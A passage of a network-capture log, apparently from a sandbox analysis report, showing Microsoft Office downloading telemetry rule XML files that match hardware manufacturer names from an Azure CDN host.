Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114512Z-16849878b78g2m84h2v9sta29000000000wg000000007qx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49759	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:12 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 802631a9-901e-002a-57ad-247a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114512Z-15b8d89586fx2hlt035xdehq580000000hrg000000006usn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49762	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: f94f539d-b01e-001e-773a-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114513Z-15b8d89586fsx9lfqmgrbzpgmg0000000hqg000000006zn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49763	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114513Z-16849878b78j7llf5vkyvvcehs0000000330000000007bvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49765	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114513Z-16849878b785jrf8dn0d2rczaw000000035g0000000058nt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49766	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114513Z-15b8d89586f4zwgbgswvrvz4vs000000033g0000000087b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49764	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114513Z-17c5cb586f6hn8cl90dxzu28kw00000001w0000000003dua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49767	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfe50472-201e-00aa-2cfd-263928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114514Z-17c5cb586f66g7mvbfuqdb2m3n0000000200000000008mgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49768	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:14 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:14 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2faa3f77-001e-008d-269c-27d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114514Z-r197bdfb6b47gqdjqh2kwsuz8c000000029g000000008p61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-26 11:45:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49770	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:14 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:14 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114514Z-16849878b78q9m8bqvwuva4svc00000000hg000000001uuk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:45:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49769	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:14 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:14 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: a2903e96-401e-00ac-3034-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114514Z-15b8d89586flzzks5bs37v2b90000000069g000000001syp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:14 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49771	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:14 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:14 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114514Z-16849878b78fssff8btnns3b140000000290000000006190 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:14 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" 